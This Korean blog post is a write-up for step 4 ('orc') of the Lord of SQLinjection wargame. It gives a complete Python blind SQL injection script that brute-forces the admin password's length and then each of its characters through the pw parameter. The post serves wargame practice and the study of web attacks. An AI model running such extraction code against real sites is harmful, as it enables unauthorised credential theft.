[LOS] step.4 orc 풀이
본문 바로가기

WEB/Lord of SQLinjection

[LOS] step.4 orc 풀이

이번 문제는 id = admin 을 변경할 수 없어서 이전문제를 풀듯이 id에 들어가는 입력값을 통해 pw 우회가 불가능하다.

그래서 결국은 pw를 일일이 찾아야 한다는 뜻인데...

일단 pw ='' 이 부분을 true로 만든 후에 blind injection을 해야 한다.

pw='' or 1=1 and (blind injection code) # '  이런식이다.

그래서 python 자동화코드를 짜면 짧은 시간 내에 풀이가 가능하다.

가장먼저 할 것은, pw의 길이 찾기

def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = " 'or id = 'admin' and length(pw)={} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

두번째는 pw 한글자씩 찾기

#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #유니코드값 48번부터 122번

            # ord():문자 -> 아스키코드값 substr(대상,찾을 위치,찾을 갯수): 문자열에서 1개씩 문자 찾기 
            value=" 'or id = 'admin' and ord(substr(pw,{},1))={} #".format(i,j)  
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 유니코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

 

전체 코드

import requests

url ="" #공격URL
cookies ={"PHPSESSID": "~~~~~~~~~"} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = " 'or id = 'admin' and length(pw)={} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num


#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번

            # ord():문자 -> 아스키코드값 substr(대상,찾을 위치,찾을 갯수): 문자열에서 1개씩 문자 찾기 
            value=" 'or id = 'admin' and ord(substr(pw,{},1))={} #".format(i,j)  
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


#Main
pw_real(pw_len())

자동화코드를 돌리면 pw를 찾을 수 있다.

 

* PHP 함수 정리

ord () : 문자 -> 아스키코드값 변환

substr(문자열, 시작위치, 1) : 문자열에서 문자 1개씩 검색

chr() : 아스키코드값 -> 문자 변환

 

 

solve!!!!!

 

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step.6 darkelf 풀이  (0) 2023.06.12
[LOS] step.5 wolfman풀이  (0) 2023.06.12
[LOS] step.3 goblin 풀이  (0) 2023.06.12
[LOS] step.2 cobolt 풀이  (0) 2023.05.24
[LOS] step.1 GREMLIN 풀이  (0) 2023.05.24